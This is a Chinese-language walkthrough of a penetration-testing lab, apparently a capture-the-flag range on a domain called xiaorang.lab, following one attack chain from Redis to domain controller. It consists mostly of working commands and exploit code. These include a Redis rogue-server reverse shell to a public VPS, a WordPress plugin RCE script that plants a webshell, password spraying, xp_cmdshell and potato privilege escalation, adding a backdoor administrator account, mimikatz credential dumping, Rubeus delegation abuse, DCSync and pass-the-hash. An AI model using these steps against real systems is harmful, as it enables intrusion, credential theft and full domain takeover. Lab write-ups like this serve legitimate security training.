首先我们利用fscan进行网段扫描。
fscan下载链接:https://github.com/shadow1ng/fscan/releases/

这里存在一个FTP未授权访问,还存在一个Redis未授权,我们需要拿权限,只能通过Redis入手。
拿到Redis如何利用,这里给一篇文章:https://www.freebuf.com/articles/web/249238.html
利用MDUT工具,进行连接。

第一个尝试计划任务写shell。
计划任务,替换公钥都失败了,这里尝试主从复制getshell。
利用脚本如下:https://github.com/n0b0dyCN/redis-rogue-server,这里将脚本下载到公网VPS运行脚本。
python3 redis-rogue-server.py --rhost 39.98.117.166 --lhost 124.122.11.4
--rhost redis服务器ip
--lhost vps
成功反弹过来shell。

拿到shell之后,我们需要输入下面的命令,创建一个伪终端。
python -c 'import pty; pty.spawn("/bin/bash")'
找到了flag,但是提示权限不够。

这里我们尝试suid提权,发现base64,查找利用方式,然后成功拿到flag01:
find / -prem -u=s -type f 2>/dev/null
base64 "/home/redis/flag/flag01" | base64 --decode
flag{54754c1f-66e6-45a0-a87f-c0d331a53922}通过vshell中的linux一句话上线命令,成功上线。

执行 ifconfig,查看网段 172.22.2.7。

上传fscan进行内网扫描,扫描结果如下。
[redis@centos-web01 tmp]$ ./fscan32 -h 172.22.2.7/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.2.7 is alive
(icmp) Target 172.22.2.3 is alive
(icmp) Target 172.22.2.34 is alive
(icmp) Target 172.22.2.16 is alive
(icmp) Target 172.22.2.18 is alive
[*] Icmp alive hosts len is: 5
172.22.2.16:1433 open
172.22.2.16:445 open
172.22.2.34:445 open
172.22.2.18:445 open
172.22.2.3:445 open
172.22.2.16:139 open
172.22.2.34:139 open
172.22.2.18:139 open
172.22.2.3:139 open
172.22.2.34:135 open
172.22.2.16:135 open
172.22.2.3:135 open
172.22.2.7:6379 open
172.22.2.16:80 open
172.22.2.18:80 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.3:88 open
[*] alive ports len is: 20
start vulscan
[*] NetInfo
[*]172.22.2.16
[->]MSSQLSERVER
[->]172.22.2.16
[*] NetInfo
[*]172.22.2.34
[->]CLIENT01
[->]172.22.2.34
[*] NetInfo
[*]172.22.2.3
[->]DC
[->]172.22.2.3
[*] WebTitle http://172.22.2.7 code:200 len:4833 title:Welcome to CentOS
[*] NetBios 172.22.2.34 XIAORANG\CLIENT01
[*] WebTitle http://172.22.2.16 code:404 len:315 title:Not Found
[*] NetBios 172.22.2.18 WORKGROUP\UBUNTU-WEB02
[*] NetBios 172.22.2.3 [+] DC:DC.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.2.16 MSSQLSERVER.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.2.3 (Windows Server 2016 Datacenter 14393)
[*] OsInfo 172.22.2.16 (Windows Server 2016 Datacenter 14393)
[+] ftp 172.22.2.7:21:anonymous
[->]pub
[*] WebTitle http://172.22.2.18 code:200 len:57738 title:又一个WordPress站点
已完成 20/20
[*] 扫描结束,耗时: 12.909113357s存在域控,是172.22.2.3。
存在MSSQLSERVER,是172.22.2.16
存在ftp未授权,是172.22.2.7
存在WordPress站点,是172.22.2.18
我们利用vshell将流量代理出来,用kali里面的wpscan扫一下,查看是否有漏洞。

首先配置proxychains4.conf配置文件。

接着利用命令。
proxychains4 -f /etc/proxychains4.conf wpscan --url http://172.22.2.18这里-f参数显示指定配置文件。
直接网上查找相关rce文章,文章给出了利用脚本。
文章链接:https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a/
import sys
import binascii
import requests
# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'
def encode_character_code(c: int):
return '{:08b}'.format(c).replace('0', 'x')
text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]
destination_url = 'http://127.0.0.1:8001/'
cmd = 'ls'
# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)
# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))配置Proxifier,成功代理流量到本地。


成功访问到网站。

运行 exp,成功注入 webshell。

使用蚁剑进行连接,连接蚁剑,注意类型要选择 cmdLinux,还需要配置代理。


找到config文件。查看得到数据库用户和密码。

navcat连接不上,只能使用蚁剑自己的工具进行连接。

利用蚁剑数据库连接成功(wpuser/WpuserEha8Fgj9)。

成功找到flag。
发现数据库中还有一些类似与password的字段,我们将所有字段进行导出,并且内网中的所有系统进行密码碰撞。
通过前面fscan信息收集,我们知道172.22.2.16主机存在mssql服务,并且开放了1433端口,那么我们可以利用超级弱口令工具进行一下密码碰撞。
在这里需要执行上述sql语句,才能把所有的密码正确的显示。
SELECT * FROM `S0meth1ng_y0u_m1ght_1ntereSted` ORDER BY 1 DESC LIMIT 0,1000;
利用fscan进行sqlserver的密码爆破。
./fscan32 -h 172.22.2.16 -m mssql -pwdf 1.txt
sqlserver的账号和密码分别是(sa/ElGNkOiC)。
然后利用MDUT连接上去。

这里选择xp-cmdshell,下面会显示激活组件成功。

然后就可以执行命令了。

首先机器不出网,不能反弹shell到我们的服务器,而且权限太低,不能查看网络连接。

我们使用SweetPotato进行提权。
这里需要先激活Ole Automation Procedures组件,再上传SweetPotato.exe提取,直接得到system权限。
土豆提权工具下载链接:https://github.com/uknowsec/SweetPotato

工具上传成功。

C:/Users/Public/SweetPotato.exe -a "whoami"成功得到 system 权限。

windows查看网络连接netstat -ano,发现3389端口打开,可以进行远程登录。
C:/Users/Public/SweetPotato.exe -a "netstat -ano"
这里打开了3389端口,并且显现提权到了管理员权限,那我们就可以尝试添加新的用户,并将其添加到管理员组,让然后远程到桌面。
C:/Users/Public/SweetPotato.exe -a "net user xdd 123Xdd! /add"
C:/Users/Public/SweetPotato.exe -a "net localgroup administrators xdd /add"添加成功,尝试远程到桌面。

成功拿到flag03。

对服务器进行信息收集,执行systeminfo,发现存在域环境。
接着我们上传mimikatz抓取hash。
这里注意需要以管理员权限运行mimikatz。
常用组合命令
privilege::debug
sekurlsa::logonpasswords
privilege::debug
尝试将当前 Mimikatz 进程提升为“调试权限”(SeDebugPrivilege),这样它就可以访问其他高权限进程的内存,尤其是 LSASS(Local Security Authority Subsystem Service)进程。
如果没有这个权限,就无法读取包含密码和票据信息的 LSASS 内存。
正常用户没有该权限,只有 管理员(或 SYSTEM)权限的进程才能成功执行。
sekurlsa::logonpasswords
从内存中(通常是 lsass.exe)提取当前或已登录用户的:明文密码(如果可用),哈希(NTLM),
Kerberos 票据(TGT、TGS), 凭据缓存(Cached Credentials), 远程桌面/网络登录凭据等。
拿到了NTLM哈希为109fc2dde2e0310758e01f194f0d078c。
这里使用约束委派攻击,首先MSSQLSERVER机器配置了到DC LDAP和CIFS服务的约束性委派。
首先通过Rubeus申请机器账户MSSQLSERVER的TGT,执行后,将得到Base64加密后的TGT票据。
Rubeus.exe下载链接:https://github.com/GhostPack/Rubeus/
这里下载需要编译,具体编译步骤如下:
Visual Studio 2019 Community Edition(需包含.NET 桌面开发工作负载)。文件 > 打开 > 项目/解决方案,选择 Rubeus 源码目录下的Rubeus.sln解决方案文件。Debug切换为Release(发布版体积更小、性能更好)。Rubeus项目,选择生成(或按Ctrl+Shift+B)。Rubeus\bin\Release\目录下(默认文件名Rubeus.exe)。Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:109fc2dde2e0310758e01f194f0d078c /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap
然后使用S4U2Self扩展代表域管理员Administrator请求针对域控LDAP服务的票据,并将得到的票据传递到内存中。
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:LDAP/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE1Z8opxrclQTgZdEh7CCnvKvFOm3Q7c/hc+5SSE6cXEkABzntvCddYnnxJKoOQdzdgJexzPzrGAxlaBkpAQEVAqcThOB1iXuFeEFIH/O7ZlSjCwRDHZoq8lwLHtRaB874R9LOh61O4Z3e0I5tgZU8iWZUO3BY4rQHMMcTbk18rcDJkAxCjVG6RHgHUYBZDJ61wr6VmoIEtpxDRzp85l58SP6QITIZ59Axa9gCgrtyrAJkCL3o7qAtwQP99x1kTDrcsnnt4yA0ZhgHgwNF1DHoMtPciL0ks5Zvv4pdyP7efIPB50oTyJMD2gMi42I3z7JWa8baJiY6UPXPl+Yuvlat6bR5gSGSrUQr4ByT1QEi5zOmflq4Yl0WFFDBzOu74Sxj9n/yplMgn2JMJuFx1TKEZeHsSUbIFu3e3m/6Ze4RTmaaiW9dxCXN2QoX2W7HSPzWTjawLt0udInlJhuBs9xVECs1UD/2opp0A29htBRElbmE4DKEus4s9ADXSYgzW0yooMJYL1FICenrSRhCbs/LW7S4aX4uJMIUmk/yj3n6zj5INplbut2Km16Kbiq6gUMmFATHkftrqJ/NXXH8HRk6JCBhydpHrUzdsQdY0Hcv93LevxQZXIMxelhPsRr33Sh/cEbthooAb4QzJLRfUP068l/V+J01MRhkoxRibvU2GNc2JX/3GFb4XCSw1SdJbbuSOJf+7jbDs1dQbxgC8RTOHWSzGjAFL0sVZqB5p9Wexkj5wQjFiDduA06SjE9XPHHtXtLOdQkdswFUYArOsaBN/h0WibcZbTHjjMXae6dHytGksJWaxnG5haUE8Bf7kvf2Do+9hT2McnPNuqPgN0YBin/tMBrXgAIl63YGho1U+qJkoq9klqo4DFRc7iED8bELfiuczgHfXB/BCpTQLKh5BFU6zasaMD4I10m34oW7UmKPNNGCdFFjM9q5v2n/Nhkiz+fdWw14P5LjXvrLMF8p9XF7Xd1+oK4YJu9W552Oy+LREWOQYwlrhHTALdZ2j3Te973nxE8tcD8SmVkpbiV7E4MlkVy/hR2x/1tRHjX0DaLvYK0+P+i1HpX9nl+oXNhm2o6uiJlyTgLw1kt62wOclDgyPDOJwr26++Y/0Iloiq0vtzvsNhhJAdcp0nCDHqkRf7irmO58FrRZ1DsWDd8eyJZmFBZEghp/tuZ471hs2tHyXDnoPhke6Yy3GfdVyG4eadWTgN7ZcsHdMQDjPCoHIfurbw/4KEDyjGFxzINlxajIanHkU+vTaFHpd0elc54Gm8b6er2cLljJAAkDKQ1qZShIp7H1SBRPnPRGWA3BhqxweAJMYolmIPbcfgXHgnLJ5oL802Y331ty+2hx4K9mGCKTkyZz6NI/y6BrWmY0TFK3Kt737skCatUfmASpoeNBSQrG7vKlp33nOxih10gejsWfWWlbw6VKwgf+yv8CtazSNUhJY0NtukvWszxrCjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBACsPQgpUVC8IJ9cyXTlSZLoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI2MDIyODA2NDgyNlqmERgPMjAyNjAyMjgxNjQ4MjZapxEYDzIwMjYwMzA3MDY0ODI2WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==
LDAP服务具有DCSync权限,导出域内用户的Hash。
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
此时就获取到了管理员的哈希1a19251fbd935969832616366ae3fe62。
此时利用WMI横向,得到域管的哈希后我们可以通过WMI服务登录域控。
python wmiexec.py -hashes 00000000000000000000000000000000:1a19251fbd935969832616366ae3fe62 [email protected]还有另一种方法,直接通过哈希传递就能拿下域控,这里使用crackmapexec来进行PTH。
proxychains4 -f /etc/proxychains4.conf crackmapexec smb 172.22.2.3 -u administrator -H1a19251fbd935969832616366ae3fe62 -d xiaorang.lab -x "type Users\Administrator\flag\flag04.txt"